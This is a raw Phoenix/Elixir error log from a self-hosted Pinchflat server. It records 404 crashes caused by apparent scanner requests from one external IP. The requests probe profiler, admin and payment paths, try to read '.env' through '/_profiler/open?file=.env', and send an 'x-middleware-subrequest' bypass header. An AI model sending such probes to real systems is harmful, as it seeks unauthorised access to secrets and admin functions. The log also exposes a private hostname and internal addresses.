Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgglfi8F4e9oABcQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37154}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37154}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21618.0>, params: %{}, path_info: ["_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgglfi8F4e9oABcQC"} ], scheme: :http, script_name: [], (truncated) 15:40:36.991 [error] #PID<0.21620.0> running PinchflatWeb.Endpoint (connection #PID<0.21619.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/payment/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/payment/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21619.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21620.0>, params: %{}, path_info: ["api", "payment", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/payment/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgglwq7U9BygABcQi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21619.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/payment/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21619.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21620.0>, params: %{}, path_info: ["api", "payment", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {" (truncated) 15:40:37.102 [info] GET /_profiler/latest 15:40:37.102 [info] GET /dashboard 15:40:37.103 [debug] QUERY OK source="settings" db=0.2ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.103 [debug] QUERY OK source="settings" db=0.3ms idle=112.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.103 [debug] QUERY OK source="settings" db=0.0ms idle=112.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.103 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.104 [debug] QUERY OK source="settings" db=1.0ms idle=112.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.104 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.103 [error] #PID<0.21624.0> running PinchflatWeb.Endpoint (connection #PID<0.21622.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /dashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37168}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21624.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/dashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAghAZ2El9rQkACMmh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37168}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37168}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21624.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (W (truncated) 15:40:37.104 [error] #PID<0.21623.0> running PinchflatWeb.Endpoint (connection #PID<0.21621.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler/latest ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21621.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21623.0>, params: %{}, path_info: ["_profiler", "latest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/latest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAghAZ2EmqGmMABcRC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21621.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21621.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21623.0>, params: %{}, path_info: ["_profiler", "latest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/latest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAghAZ2EmqGmMABcRC (truncated) 15:40:37.215 [info] GET /_profiler/open 15:40:37.215 [info] GET /admin 15:40:37.215 [debug] QUERY OK source="settings" db=0.2ms idle=152.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.215 [debug] QUERY OK source="settings" db=0.2ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.215 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.216 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.216 [debug] QUERY OK source="settings" db=0.1ms idle=112.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.216 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.216 [error] #PID<0.21627.0> running PinchflatWeb.Endpoint (connection #PID<0.21625.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler/open?file=.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21625.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37180}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=.env", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21627.0>, params: %{"file" => ".env"}, path_info: ["_profiler", "open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"file" => ".env"}, query_string: "file=.env", remote_ip: {172, 18, 